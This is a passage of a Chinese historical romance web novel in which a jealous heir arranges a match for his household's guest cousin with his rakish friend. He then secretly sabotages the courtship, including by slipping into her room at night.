因着上回谢敏怀疑谢宴之与沈清念有什么不对的地方,老夫人留了心。今日她特意将顾灵玉和沈清念这两位表姑娘叫过来好好说道说道。 屋子里的人都听出这是老夫人对两位表姑娘的敲打。 以后谢宴之的新妇必不会是她们两人。 顾灵玉一听就心里就像堵住了一般,一脸的不悦。 而沈清念本来就对谢宴之无意,敲不敲打的,与她都没什么意义。 又坐了一会儿,老夫人便让众人回去歇着。 沈清念与菱儿走在前面,被顾灵玉叫住:“沈清念,你的嘴那么肿,一看就是野男人弄的吧。” 表哥刚刚又在看沈清念,她定要让他看清沈清念这个贱蹄子的真面目。 沈清念倒是神色淡淡:“顾姑娘看错了,我这是虫子咬的。” 顾灵玉拧了眉,甩了下帕子:“我看是被那门口的大黑狗啃的吧。” 沈清念余光瞥了一眼旁边的谢宴之,他今日就着一身黑色大氅。 沈清念蹙了蹙眉:“莫非顾姑娘被狗啃过,不然怎会如此笃定?” 顾灵玉气得跺脚:“你!” 菱儿听了自家小姐的话,用手捂着嘴,让自己不要笑出声来。 沈清念又对着二人福了福身,带着菱儿离开了。 顾灵玉转过身来,颇有些委屈地看着谢宴之:“表哥,你看那个沈清念,自己不干净,还牙尖嘴利的。” 谢宴之眸光冰冷地看着她:“谁让你蠢!”随后,带着元青拂袖而去。 顾灵玉忙提着裙摆追了上去:“表哥!等等我。” 第二十三章 本世子寻着了 谢宴之快步甩开了顾灵玉,回到了自己的院子。 他看见元青往池子里扔了什么东西。元青看谢宴之在看他,忙上前:“爷,我扔的是我那个石鱼坠子。” 谢宴之记得之前元青的脖子上成天戴着个石头雕的鱼形吊坠儿。 他往元青的脖子看去,现在换成了一个玉做的坠子。 这才想起来前几日元青办了件差事,谢宴之赏了元青这个玉坠子。 谢宴之淡淡道:“从前你不是很宝贝那个石头鱼坠子吗?” 元青摸了摸脖子上的玉坠子:“爷,那我现在有了璞玉,谁还会爱顽石啊。” 有了璞玉,就不爱顽石了。 谢宴之愣了一下,又觉着自己豁然开朗。 那个沈清念成日关在这侯府里,根本不知道是璞玉,什么是顽石。 方才他原本打算追上去同她说几句话,那沈清念竟然跑得比兔子还快。 分明是想躲着他。 昨日竟然还拒绝他。 他这块璞玉沈清念不认得,他就给她一块顽石,这样她总该能瞧出孰好孰坏了吧。 谢宴之意气风发地迈着大步走进了书房,快速写下一封信,唤来元青:“元青,去给我找块顽石来。” “啊?”元青眨了眨眼,一脸的疑惑。 谢宴之抬头看了他一眼,元青立刻拿着信往萧府去了。 元青来了萧府,门房的说萧怀意不在,让他往那泰和酒楼去寻一寻。 元青来到泰和楼前,抬头望了一眼。 只见二楼的露台上,一个男子正用扇子挑着一位姑娘的下巴,凑在姑娘耳边:“芍药姑娘真是比这桃花酿还醉人啊。” 芍药娇羞转身靠坐在萧怀意腿上,以扇遮面。 萧怀意又勾着芍药的一缕发丝放在鼻尖闻了闻:“嗯,美人香。” “快快快!人在那儿呢!”几个打手装扮的人从楼下冲上来。 萧怀意暗道不好,是赌坊的人找来了。 他一下推开芍药:“芍药姑娘,有缘再见!”说完便从窗户上一跃而下。 芍药大惊失色,仍不忘担忧萧怀意的安危:“萧公子……” 萧怀意的脚刚落地,正巧看到元青来找他,不由分说,拉起元青就跑。 靖南侯府。 谢宴之见到了气喘嘘嘘的萧怀意,见他一身狼狈。 谢宴之皱了皱眉:“怎么弄成这个样子?” 萧怀意扯了扯腰带,扶了扶头上的玉冠,慢悠悠地拿起酒杯:“欠了赌坊一点儿银子。” “宴之今儿选的这个喝茶的地儿不错,别有一番意境。”萧怀意边喝茶边欣赏着眼前的风光。 他们现在在靖南侯府的后山上的竹亭里,半个侯府的风光都能瞧见。 萧怀意突然看到远处那座小院子里出来了两名女子。 双丫髻的一看就是丫头,另一女子着一身白色石榴裙,乌黑的发丝用绿色的玉簪浅浅绾起,肌肤胜雪,淡雅脱俗。 有些远,萧怀意实在是看不清容貌,但隐约可见她身姿曼妙,曲线玲珑,定是位美人儿。 “这是府上的哪位仙女儿?”萧怀意又看了看。 元青瞧了瞧:“那是我们府上新来的表姑娘。” 谢宴之喝了一口酒,看萧怀意目不转睛盯着:“怎么,怀意对这位表妹有兴趣?” 萧怀意又看了看那抹身影,低笑一声,悠哉游哉地开口:“窈窕淑女,君子好逑。” 谢宴之摇了摇头:“这位表妹性子孤傲,怀意恐怕难以得偿所愿。” 萧怀意回过头看向谢宴之:“哦?难道宴之试过了? 谢宴之冷嗤一声:“我对这位表妹毫无兴趣!” 萧怀意拿起酒杯:“既然宴之不感兴趣,那我就姑且试一试,还从没有我萧怀意得不到的女子!” 想那怡翠院的蝶舞姑娘,红乐坊的喜珠姑娘,都是重金难求的美人儿呢,哪个不是拜倒在他的风采下? 看那萧怀意那势在必得的样子,元青真想递过去两个白眼。 这位爷成日斗鸡走狗,不学无术。 闲时不是在勾栏院醉酒,就是在赌坊赌钱,可是京城有名的纨绔。 京城的贵女都没人愿意嫁他。 这样的人还想染指清姑娘! 但这位爷的脾性倒是对谢宴之的胃口,二人也算是要好的朋友。 元青只盼清姑娘千万不要眼瞎,瞧上这样的人。 “这位可是不同于那些妓子。”谢宴之出口提醒。 萧怀意:“那不如你我二人打赌,看我能否拿下这位表姑娘。” 谢宴之笑而不语,只是端起茶杯看着他。 萧怀意看着谢宴之,总觉着从谢宴之的眼里看出了一丝得逞的意味。 送走了萧怀意,谢宴之背着手,到了浅月居。 沈清念正给院中的几株花草浇水,余光瞥见谢宴之站在院门口。 他怎么来了?那日不是已经说清楚了吗? 难不成是路过?可浅月居这么偏僻,不容易路过吧。 所以谢宴之是特意来寻她的? 谢宴之目光紧紧地盯着沈清念。他都在等她了,她居然还不过来。 谢宴之的脸阴沉下来。 见谢宴之顶着一张锅底脸,又一直不走,沈清念只好走过去,福了福身:“世子有事找我?” 谢宴之的目光落在她头上的簪子上,是今日早上老夫人赏的那支蝴蝶簪。 也是他赏的簪子。心里的不悦一下就去了一大半。 谢宴之凤眼微眯:“上次你让本世子帮你寻一门亲事,本世子寻着了。” “嗯?”沈清念只是说说,没想到谢宴之真帮她寻了一门亲事。 “是哪家的公子?”她又问道。 “三日后你便会知晓。”谢宴之回过头看着沈清念,嘴角扬起一抹意味深长。 随后便带着元青离去。 沈清念看着谢宴之离去的背影若有所思。 她拒绝了他,让他伤了颜面,他分明是讨厌她的,怎会真的寻了亲事。不知道他会给她寻一个怎样的夫婿。 菱儿有些懵懵的,她家小姐胆子也太大了,居然让大公子帮着寻亲事。 菱儿忍不住开口:“小姐,大公子到底为你寻了什么样的亲事?” 沈清念神色坚定:“三日后便知道了。” 既然谢宴之把人找来了,她去见见就是了。 第二十四章 为何不打扮得丑一些 寒冬已过,天气渐渐暖和起来,很适合春日踏青。 沈清念早早起来梳洗一番,便带着菱儿去府门口坐马车。 谢宴之昨日让元青来告诉她,今日要带她出去相看。 等她到的时候,见谢宴之已经在等着她了。 见她来了,谢宴之先上了马车。 沈清念以为谢宴之会骑马,结果是要她与他乘坐同一辆马车。 谢宴之竟然掀开了帘子,眼睛直直地看着她:“磨蹭什么?” 沈清念不再犹豫,在菱儿的搀扶下上了车。菱儿与元青则坐在外面赶车。 马车里,谢宴之暗自打量着沈清念,一身白色纱裙,腰间是素色的缎带,显得小腰盈盈一握。 秀发如瀑般随意飘散在腰间,斜插着一支银簪,未施粉黛,却还是显得楚楚动人。 谢宴之心里升起一股莫名的烦躁。 为何就不弄得丑一些?就这么想被别人相看上吗? 随即转过脸去,不再看她。 沈清念见谢宴之看了她一眼,就黑着脸转过头去,一脸的不悦,一时也有些疑惑。 难道是她今日打扮得太素,让他这个世子觉着丢人? 她今日出门的确只涂了口脂,也没特意穿什么好看的衣裳。 她觉得今日与人相看,贵在真诚,平日里她什么样,今日就是什么样。 沈清念又抿了抿唇,以防口脂掉了。 谢宴之察觉沈清念的动作,脑子里又想起来一些画面,顿觉有些口干。 马车很快就到了太湖边上。 沈清念起身准备下车时,一个趔趄,竟直直落入谢宴之的怀中。 四目相对,谢宴之灼热的气息扑到她的脸上,她侧着头,低着头咬了咬唇,不敢去看他。 他的眼神太过…… 沈清念一时也想不明白谢宴之为何会有那样的眼神,就好像在看他喜欢的物件儿一样。 谢宴之看着那近在咫尺的唇瓣,莹润饱满,喉头滚了滚,有一种想将它含住的冲动。 沈清念双手抵住他的胸膛,以防二人靠得更近。 沈清念感觉刚才是有一股力把她往下拽,她低头一看,是谢宴之的脚不知何时踩了她的裙摆。 菱儿撩起车帘,眼睛一下睁得浑圆:“小…小姐!” 沈清念慌忙从谢宴之的怀里起来:“世子,劳烦挪一下脚。” 谢宴之干咳了两声,把脚拿开。 菱儿便扶着沈清念下了车。 菱儿刚才真的想要原地跳起来了。 她还以为世子欺负她家小姐了。 还好是小姐的裙摆被踩住了。菱儿又放心了下来。 等他们站定,湖边的公子一下转过身来,满脸含笑看着他们一行人。 沈清念见眼前的公子面如白玉,五官俊朗,气质温和。 不像谢宴之那样,眉宇间总带着几分傲慢与不羁。 这位公子眉宇舒展,笑起来令人如沐春风。 沈清念心里有些意外,谢宴之竟然没有捉弄她。 还真的寻来了一位翩翩公子。 谢宴之从马车上下来,看沈清念那神情,应该是对萧怀意满意了。 他不禁冷哼一声,等她发现萧怀意的真面目,就会知道他谢宴之的好了。 他等着看她后悔的样子! 萧怀意看着眼前的女子,乌发如漆,肌肤如玉,一双秋水美目,顾盼流连,惹人怜爱。 那日未看清容颜,只知是个美人,却没想到这么美。 他一时看得怔住了。 沈清念被他看得脸色绯红,有些娇羞地低下了头。 “表妹,这是萧府的三公子萧怀意。”谢宴之打断了萧怀意的目光。 沈清念双手放在腰侧,身子微微前倾,喊了一声:“萧公子。” 婉转的声音传入耳朵,仿佛春水在心中漾开,很是好听,萧怀意心中更是产生了一丝怜爱。 萧怀意原本准备了许多话,最后只有一句:“沈姑娘。” 他平日里那些张口就来的调情挑逗的话,对着沈清念是一句也说不出来。 他有些害怕言语间唐突了眼前的人,让她觉得他是市井流氓之辈。 谢宴之见萧怀意竟然收起平日里的油腔滑调,有些意外,又有些不悦。 三人坐在湖中央的凉亭里,一时间无话可说。 萧怀意看着湖中的小舟,笑着问沈清念:“沈姑娘,可想泛舟湖上?” 沈清念想了想,泛舟也好,谢宴之坐在这里,他们两人根本不便说什么。 沈清念看了一眼谢宴之,见他淡淡的没什么表情,便道:“好,菱儿与我一起吧。” 萧怀意便也带着身边的小厮平安和沈清念主仆二人一起去湖上泛舟了。 太湖很大很美,四人在船上,微风拂面,十分惬意。 萧怀意看着沈清念,几缕发丝落在凝脂似的脸上,一双秋波里似漾着皎洁的月光,长睫向下扇出一丝丝阴影,勾引着人看向那小巧秀气的鼻梁。 萧怀意一时看得有些痴。 “萧公子?”沈清念叫了两声,萧怀意都没有答应,便用手在他眼前晃了晃。 萧怀意一下子回过神来,有些不好意思。 沈清念看着萧怀意,想了想:“萧公子,我想知世子是如何与你说的?” 萧怀意笑了笑:“世子并未说什么,是我对沈姑娘一见倾心。” 见沈清念有些不解,萧怀意继续说道:“我前几日有幸在靖南侯府见过沈姑娘,才求了世子让你我见一面。” 沈清念没想到萧怀意竟这样直接,那有些事她也必须和他说清楚。 “萧公子,我只是商户之女,而你是萧府的三公子,我们两人或许不太合适。” 萧怀意知沈清念是在二人说门第不符。 萧怀意笑了笑:“这没什么,我也只是萧府四房的庶子,我的婚事我自己能做主。” “我只会娶我心悦之人,不论门第。” “我虽是商户女,但我此生只做正妻。” “萧某也只愿一生一世一双人。” 二人相视一笑,萧怀意看着沈清念,神情严肃:“沈姑娘可愿给萧某一个机会?” 沈清念看着萧怀意没有回答,她还需要一些时日考虑:“萧公子可否给我一些时日考虑?” 听沈清念这样说,萧怀意有些失望,但他还是拱手道:“沈姑娘,萧某静候佳音。” 谢宴之在亭中若无其事地喝着茶,双眼却死死地盯着那湖中央。 不知萧怀意突然说了什么,沈清念笑得眉眼弯弯。 她从没那样对他笑过。 谢宴之只觉得好像有什么东西脱离了他的掌控。 第二十五章 郎君好福气 一旁的元青看着船头的沈清念和萧怀意相谈甚欢。 又扫了一眼谢宴之,谢宴之看起来一切如常,静静地欣赏着湖中的美景,仿佛把清姑娘和萧公子都忘了。 而元青就不一样了,他刚刚分明看见那个叫平安的拉了拉菱儿的手臂。刚刚菱儿一个没站稳,平安及时扶住了她。 菱儿露出两个梨涡:“谢谢平安哥。” 平安对着菱儿点了点头。 他不是个能说会道的,只是觉得眼前的菱儿十分可爱,不由地让他想起了自家小妹。 元青也好想去船尾那里,挡在平安面前,不让他再看菱儿。 自家爷想把清姑娘给嫁出去,那菱儿岂不是也得跟着出去了? 可现在想再多也没什么用,他再急,也只能看着那只小菱角对着平安叽叽喳喳的。 过了一会儿,萧怀意和沈清念的小船靠了岸。 萧怀意先跳下了船,接着向沈清念伸出手:“沈姑娘,当心。” 沈清念看着萧怀意隔着衣袖的手掌,将手递了过去:“多谢萧公子。” 见几人过来,谢宴之从亭子里走了过来,看着沈清念:“该回府了。” 沈清念向二人行了一礼后,带着菱儿朝马车走去。 谢宴之看到刚才萧怀意牵了沈清念的手,又见萧怀意那春风得意的样子,眉头皱了皱:“她答应你了?” 萧怀意看着沈清念的背影,淡淡地一句:“没有。”言语里透着一丝失望。 “哦?”谢宴之眯着眼。 不知为何,他的心情一下子舒畅了很多。 “沈姑娘说还需要一些时日考虑。”萧怀意又补了一句。 “是我哪里不好吗?”萧怀意扭过头看着谢宴之。 元青听到萧怀意这样问,抿了抿嘴。自己心里没数吗?还好清姑娘没答应,不然小菱角也要跟着跑了。 谢宴之倒是没想到萧怀意会问他这个问题。 想了想还是开口道:“怀意文采风流,一表人才,我觉得甚好。许是她太过挑剔。” 连他这个世子都拒绝了,不是挑剔又是什么! 谢宴之带着沈清念回了府。 沈清念坐在罗汉榻上,拿了个绣绷做针线。 菱儿也拿了个绣绷也坐了过来,看到小姐绣的荷花,栩栩如生。 菱儿感叹:“小姐绣得真好。” 不像她总是毛毛躁躁的,绣不好东西。这尾鱼绣了几天了,还没有绣好。 不过,要是小姐应了萧公子,现在是不是该绣鸳鸯了? 于是菱儿好奇地问了一句:“小姐,你与萧公子……” 沈清念知道她是想问她有没有答应萧公子。 她笑了笑:“我没有答应萧公子。我还需要些时日考虑。” 菱儿感到很惊讶,她放下绣绷:“那萧公子对小姐一见倾心,又不介意门第,小姐为何不应?” 沈清念放下绣绷,刮了刮菱儿的鼻子:“所谓一见倾心只是喜欢我的这副皮囊而已,这样是长久不了的。” 色衰而爱迟。 她不想再走母亲的路。当年父亲强娶母亲,不就是看上了母亲的美貌。 可后来,父亲还不是陆陆续续往院子里塞了好多姨娘,一个比一个年轻美貌。 即使萧怀意不在乎门第,也许诺一世一双人。但二人只是初次见面,知之甚少,他的话未必可信。 再者,萧怀意若真心喜欢她,也不会因她一次拒绝就轻易放弃的。 果然,过了半月,萧怀意又写来书信,邀沈清念一起去花灯会。当然,一同去的,还有谢宴之。 京城的花灯会十分热闹,大街小巷都是各种各样的花灯,还有杂耍的,投壶的。 萧怀意见到沈清念来了他们来了,笑着向前:“宴之,沈姑娘!” 沈清念今日一身藕粉长裙,头发用丝带松松地绾起,眼如秋水,顾盼流连。 萧怀意看了一会儿,察觉到沈清念的不自在,才移开了目光,从身后拿出一串糖葫芦递了过去:“沈姑娘,糖葫芦。” 沈清念露出一丝欢喜,接过了糖葫芦。 他竟然还记得她那日的话。那日,沈清念说喜欢吃糖葫芦,不过来了京城,就没吃过了。 谢宴之一直冷着脸跟在二人身后。看到糖葫芦,眼底是不屑一顾。 糖葫芦不过就是哄小孩的东西,不明白沈清念怎么那么欢喜。 不过萧怀意一改往日的纨绔形象,这和谢宴之之前想的不一样。 他心里到底是怎么想的,他自己现在也有些弄不明白了。 沈清念越是接纳萧怀意,后面就会伤得越重。 他不是一直在等着她悔恨的吗? 为何现在看着二人好似含情脉脉的样子,心里有些烦躁了? 他不应烦躁,应该高兴才对。 这时,元青看到前面有卖松子儿的,便买了一些,递给菱儿:“菱角,给!” 菱儿十分开心,接过松子儿,朝元青甜甜道了一句:“谢谢元青!” 接着又将松子儿递给了平安:“平安哥,吃松子儿。” 菱儿想着,三人都是仆从,有好吃的就要大家一起吃嘛。 元青见状,哼了一声,走到前面去了。 菱儿看元青好像生气了,便转头问平安:“平安哥,这元青好端端的怎么好像生气了?” 平安看着菱儿那双懵懂的眼睛,无奈地笑了,摇了摇头。 菱儿赶紧上前去追元青。 这时沈清念看到前面有人在比赛投壶,便站在一边看着,萧怀意见她看得十分认真,便试着问:“沈姑娘可要投壶?” 沈清念抿唇一笑:“我不会投壶,只是看着他们投,觉得有趣。” “萧公子会投壶吗?”又听见沈清念问了一声。 平安站出来说了一句:“我们公子投壶很厉害。” “沈姑娘想看我投壶?”萧怀意微笑着看着沈清念,眼里满是温情。 沈清念看向他:“嗯” 得到了沈清念的回答,萧怀意给了老板十文钱,拿了几支箭,走到边上投起壶来。 他几乎是百发百中。每投中一支,在场的人就欢呼声一片。 还有最后一支时,萧怀意回头笑着看向沈清念,看到她眼里流露出担忧。 萧怀意眼神示意她不必担心,随即用力一扔,那支箭便稳稳地落入了壶中。 “好!好!”在场的人又是欢呼声一片。 萧怀意回头看沈清念,她亦看向他,仿佛周围的人都不存在般。 投壶的老板取来了一把檀木梳子当彩头递给萧怀意,再看看旁边的沈清念,不禁感叹:“郎君好福气啊。” “要是我有这么漂亮的娘子,刀山火海我也上啊。”旁边又有人附和。 沈清念娇羞地低下了头。萧怀意则满怀柔情地看着面前的人儿。 忽然后面传来了一个女子的声音:“萧公子!” 沈清念回头一看,那位女子,身段儿婀娜,摇晃着精致的步摇,精致的脸上是满满的风情,慢慢地朝萧怀意走了过来。 谢宴之认得这个女子,她是怡翠院的蝶舞姑娘,是萧怀意的红颜知己。 第二十六章 公子的心上人 那女子一脸欣喜,看着萧怀意:“公子,你也来花灯会儿了。” 萧怀意笑了笑,指了指身旁的沈清念:“嗯,我陪沈姑娘来的。” 蝶舞这才挑着眉仔细打量起沈清念。 容貌清新,明眸皓齿,温柔的眉眼,让人赏心悦目。 此刻这姑娘正端端正正地站着,一看就是大家闺秀,最主要是她的身上透出的一股韧劲儿,十分难得。 难怪她觉得今日的萧怀意有些不同。 平日里萧怀意与她们在一起,总是一副玩世不恭的样子,可他才华斐然,给姑娘们写了好多词。 好多姑娘都芳心暗许。却没见他真的对哪个姑娘上过心。 今日却如换了一个人,端方有礼,温润如玉,俨然世家公子的样子。再不见之前的放荡不羁。 或许,这个沈姑娘就是他改变的原因。 蝶舞对沈清念福了一礼:“沈姑娘,蝶舞有礼了。” 又偏过头看向萧怀意,饶有意味的模样:“看样子,这位沈姑娘就是萧公子的心上人了。” 一旁的沈清念低着头,指尖捻起帕子碰了碰鼻尖,眼睛看向别处,耳珠泛红。 萧怀意笑了起来:“蝶舞姑娘果然聪慧,沈姑娘的确是萧某的心上人,但我这是襄王有情,神女无意。” 蝶舞用帕子捂嘴笑了笑,略微有些惊讶。 萧怀意还有被姑娘拒绝的时候,真是难得。 她随即又看着沈清念:“沈姑娘,能让萧公子这样的,你还是头一个!沈清念偷偷看了眼萧怀意,发现他正笑着在看她。 蝶舞瞧着那两人,她还从没见过萧怀意那副样子,活脱脱一个情窦初开的少年。 她掩着帕子笑了笑:“我就不打扰各位了。” 蝶舞又朝众人福了一礼,便扭着腰肢离开了。 几人又继续往前走,萧怀意悄悄在沈清念耳边说了几句:“沈姑娘,若姑娘明日愿到万宝寺赏桃花,萧某定给沈姑娘一个解释。” 沈清念看着萧怀意的眼睛,他的眼底是一片澄澈。沈清念想,或许,这次她真的可以试一试。 沈清念被菱儿扶着上了马车,正掀开帘子往里去时,萧怀意喊住了她:“沈姑娘,明日,我等着你。” 沈清念回头,见萧怀意立在马车边,双手拱礼,正望着她,眸子里是一片深情,像是要将她刻进眼底。 他在害怕她不去万宝寺。 沈清念想了想,微微一笑,点点头,进了马车里。 萧怀意见沈清念愿意去万宝寺赏花,眼底的兴奋顿时就藏不住了,迈着大步朝自家马车走去。 平安赶紧上去,提醒道:“公子,今日不是约好去给红乐坊的喜珠姑娘写新词吗?” 萧怀意大手一挥:“不去了,以后都不去了。” “为何不去了?” “平安,公子我可能要成婚了。” 平安看着萧怀意按不住的嘴角,摇摇头,不再说什么。 这头,沈清念刚上马车,就见谢宴之手上提着她刚刚看到的那盏兔子灯,那灯很漂亮,就是有些贵。 所以沈清念并没有表现出有多喜欢那灯。 虽然有些好奇谢宴之买这个兔子灯做什么。不过她不打算问,反正不是给她的就行。 谢宴之见沈清念看了兔子灯一眼,就转过了头不再看。 手上拿着萧怀意给的檀木梳子,低垂着眉,满眼含笑。 谢宴之忽然有些不明白他刚刚为何要买下这灯。 他刚才见沈清念明明很喜欢地提起这盏灯,却又失落地放下了。 他还听见萧怀意说明日等她。等她做什么? 到了侯府,谢宴之在前面提着灯,沈清念在后面跟着走。 没走一会儿,就听见顾灵玉的声音:“表哥! 又看到谢宴之手上提着一盏花灯,冲谢宴之道:“这兔子灯好漂亮。” 谢宴之看了一眼顾灵玉,又扫了一眼沈清念:“喜欢?” 顾灵玉听这话,上去拉着谢宴之的衣袖:“嗯嗯,表哥,我很喜欢,能给我吗?” “拿去。”谢宴之说完瞥了一眼沈清念。见她神色淡淡的,脸上看不出任何情绪。 “谢谢表哥!”顾灵玉提着兔子灯,故意在沈清念面前晃了晃,十分得意。 这么漂亮的兔子灯,表哥给了她,没有给沈清念。表哥还是更喜欢她。 沈清念对谢宴之福了一礼,转身向浅月居的方向走去。 谢宴之看着沈清念就这样走了,没有一丝嫉妒,甚至一丝不开心都没有。 心里一阵发堵却又无处发泄! 谢宴之甩着袖子走了,只留下顾灵玉一人在原地生闷气。 她只觉得表哥最近越来越容易发火了。 夜深了,菱儿见沈清念还拿着梳子在看,上前说道:“小姐,还在想潇公子。” 沈清念又想起萧怀意投壶时看他那一眼。那样的眼神让她安心。 不像从前在老家见到的那些目光那么油腻,也不想谢宴之那样总是一股傲慢与不屑。 萧怀意是她来到这里第一个对她这么好的人。 能记得她说过的话。 能在别人面前大大方方承认对自己的喜欢。 能为了自己想看投壶,就去表演给自己看。 只是她还需要弄清楚关于他的那些传言是怎么回事。 元青告诉菱儿,萧怀意就是一个斗鸡走狗的纨绔,整天花眠宿柳,还欠了赌坊许多债。 可沈清念看到的萧怀意不是那样的,就是一个风光霁月又温润的翩翩公子。 她得弄清楚,到底哪一个才是真正的萧怀意。 沈清念没说话,顺手将梳子放到了妆奁里。 菱儿剪了灯芯,便回到榻上睡去了。 一会儿,一个黑影翻窗进来,谢宴之走到沈清念的床边,听着沈清念清浅的呼吸。 他伸出手,抚上沈清念的脸,用鼻尖抵住她的鼻尖。 一丝香甜的气息钻入谢宴之的口鼻,他看着她小小的唇,情不自禁吻了上去。 今夜他心里所有的烦躁都在此刻消失了。 看着沈清念跟萧怀意情投意合的模样,他那一刻只想上去带走沈清念,把她关起来,叫旁人再也看不见她。 他想不明白,萧怀意,这块他找来的烂石头,怎么摇身一变,成为沈清念眼里的璞玉了。 况且,她都见到他的红颜知己了,竟还不拒绝他?连讨厌都不曾有。 谢宴之用手指摩挲着沈清念的脸:“他就那么好?” 最后,谢宴之又走到了妆奁旁,悄悄拿出了那把檀木梳子,从窗边出去了。 第二十七章 他就要抓不住她 翌日清晨,沈清念起来梳洗时,没看见那把梳子,却多了一把和田玉梳子。 沈清念一下愣住了。 这时,菱儿揉着脖子走了进来,嘴里念叨着:“真奇怪,昨晚明明关了窗户的呀。” “今早起来这窗户又是开着的,难道是我记错了?” 菱儿以为是窗户开着,所以她夜里遭了风,脖子疼。 沈清念好像发现了什么,昨晚有人翻窗进到了屋子里,不仅没伤害她们,还将她的木梳子换成了玉梳子。 谁会这么好心? 更让她有些害怕的是,这人能悄无声息地潜入屋子,到底想做什么。 三月里,漫山的桃花,万宝寺的桃花格外美。许多公子小姐来寺里上香时,就会顺道来赏花。 沈清念一早就让菱儿去后门问问马车备好了没。 可过了很久,也不见菱儿回来。 沈清念心里有些着急。这个时候去万宝寺有些迟了,不知萧怀意是否有耐心等她。 她的屋子夜里有人进来,她不知对方是谁,也不知对方想要做什么。 她能做的是赶紧离开侯府。 倘若萧怀意的确是良人的话,她想让他尽快上门提亲,等成了亲以后,就回老家去。 即便萧怀意只是没落世家庶子的身份,她父亲一个商户,也是不敢得罪的。到时就可以接走母亲。 可眼下菱儿到底去了哪里?怎么会说不见就不见了? 沈清念只好亲自去后门,看见门口的马夫还等在那里,便上前问到:“刚刚可有丫鬟来过?” 马夫摇摇头,他并没有看见任何丫头。 沈清念疑惑,菱儿走了这么久都不回,难不成是在府中惹怒了谁,被人扣下了? 可萧怀意或许还在等她赴约。她不去,萧公子心中可能误会她不愿两人之间的事。 她很想去赴萧怀意的约的。 于是,沈清念掏出一块碎银给马夫:“劳烦你到万宝寺找一位叫萧怀意的公子,就说我的丫头丢了,今日不能赴约,明日再去寺中。” 马夫笑呵呵地接过碎银,架着马车就往万宝寺去了。 沈清念转身朝浅月居的方向走着,她得好好想想,菱儿可能会在哪里。 万宝寺中。 萧怀意已在一处凉亭中等候多时,这凉亭处在高处,能看见万宝寺的大门。 只要沈清念一进来,萧怀意就能看见她。 蝶舞在一旁拿起茶壶将茶杯斟满了递给萧怀意。 他看了看远处,寺里的香客渐渐散去,却迟迟没有沈清念的身影。 蝶舞皱了皱眉:“公子,沈姑娘是不是不会来了?” 萧怀意放下茶杯,收拢了扇子。 昨日沈姑娘明明点了头的。她那样率真的人,不会轻易食言。 “无妨,再等一会儿。沈姑娘许是有什么事耽搁了。”萧怀意又拿起茶子,看着远处。 蝶舞看了看寺门口,蹙了蹙眉:“公子,沈姑娘是不是误会了什么,所以才迟迟不来赴约?” 公子在外人眼里就是个不学无术,整日流连烟花柳巷的人。 可蝶舞知道,这都是公子的故意做给人看的。 今日公子特意叫她来,也是为了跟沈姑娘说清楚其中的原委。 萧怀意拿着扇子扇了扇道:“不会,沈姑娘若不来,我就去寻她。” 萧怀意从前看过这许多贵女,要么跋扈骄纵,要么温婉端庄,却了无生气。 沈清念是他见过的人中最鲜活的,更难的是他从她身上看到了一股倔强,她和他一样,都是坚韧之人。 看着公子高大欣长的背影,蝶舞不经有些羡慕沈清念。 沈姑娘能得公子如此看重,真是幸运,不似她,在公子身边这么久了,也得不到公子的半分爱意。 况且自己的身份也配不上公子,有哪个世家公子会娶一个青楼女子呢? 即使她只卖艺,不卖身。 沈清念想了想,还是去找姨母帮忙。 正穿过长廊之时,见谢宴之也往这边来了,看到她来,便停下了脚步,似在等她。 沈清念上前去,福了一礼:“世子。” 她心里急着去找菱儿。福了一礼后,也不等谢宴之回应,抬脚就要走。 谢宴之看她走得很急,额上出了一些细密的汗,将手往背后随意一放,好似不经意地道出一句:“菱儿在观澜居。” 沈清念顿住了脚步。 观澜居是谢宴之的院子。 菱儿怎么会在那里? 他怎么知道她在找菱儿? 沈清念正欲问清楚,谢宴之已经抬脚往观澜居去了。她只得跟在他后面。 很快就到了观澜居。 看到飞檐青瓦,玉兰绕砌,两边的柱子上是金辉兽面,彩焕螭,精致典雅。 沈清念不禁感叹,观澜居不愧是谢宴之这靖南侯府世子的居所。 进了院子,沈清念问道:“世子,菱儿呢?” 谢宴之指了指旁边的偏房:“在里面。” 沈清念一进屋就看到菱儿的脚被白色的布条裹起来,像根大萝卜。 一见到沈清念,菱儿便伤心地哭起来:“小姐……” 小姐让她去看马车,结果她伤了脚,耽误了小姐去赴萧公子的约。 菱儿心里很是愧疚。 沈清念上前扶住菱儿,让她回椅子上坐好,焦急道:“这是怎么回事?你的脚怎么了?” 菱儿用袖子擦掉了眼泪道:“我原本是要去后门找马夫的,路上不小心被一个丫头撞了一下,崴到了脚。” 沈清念听后松了一口气。还好只是崴了脚,不是得罪了什么贵人。 也不是什么受伤流血了。这脚包成这样,她还以为菱儿的脚伤得很严重。 沈清念又问了一句:“那你怎么来了这观澜居?” “元青从后门进来,发现我崴了脚,浅月居太远,元青便将我抱来这里,帮我包扎了脚。” “世子还派人去帮我请了大夫。” 沈清念转身朝着谢宴之说了句:“谢谢世子。” 菱儿的脚是要在家休养几天了。明日如何能赴约。 萧怀意在万宝寺等到一个人都没有了,也没有等到沈清念,也没有见到什么马夫。 萧怀意收了扇子,对蝶舞道:“走,去靖南侯府。” 原来刚刚沈清念并没有看到马夫收了钱后,就将马车赶到侯府的另一侧。 而谢宴之早已等在那里。 马夫凑上前将沈清念的话告诉了谢宴之。 “下去吧。” 马夫得了吩咐,又将马车赶回侯府去了。 谢宴之也不知为何要阻止沈清念去见萧怀意。 他只觉得如果让沈清念去了万宝寺,他可能就真的要抓不住她了。 第二十八章 还不死心 门口的小厮来报,萧公子来了观澜居。 元青暗道爷真是料事如神。不过一切都已经安排好了。 谢宴之招了招手,门口的小厮进来恭敬地立在那里。 谢宴之道:“去浅月居把沈姑娘叫来,就说萧公子来寻她了。” “是,世子。”小厮麻溜地往浅月居去了。 谢宴之招呼萧怀意坐下,对元青道:“昨天刚到的新茶,给萧公子泡一壶来。” 萧怀意大大咧咧坐到谢宴之对面,又恢复了平常吊儿郎当的样子:“沈姑娘昨日没有来赴我的约,今日我来找她,看看是不是误会爷了。” 谢宴之看着今日的萧怀意。这样的萧怀意才是他要给沈清念看的。 可惜……今日她是看不到了。 谢宴之喝了口茶,看着萧怀意道:“许是看到了你的红颜知己生气了,毕竟她的性子是极烈的。” “或许在她心中,你就是那风流多情之人,不值得托付终身。” 萧怀意听了这话,脸上的笑意消散了许多。 谢宴之看着萧怀意的眼睛,用冷冽的,不容他反驳的声音道:“怀意,你不就是这样的人吗?” 萧怀意顿了顿,又哈哈大笑起来:“不错,我都差点忘了我就是这样的人啊。” 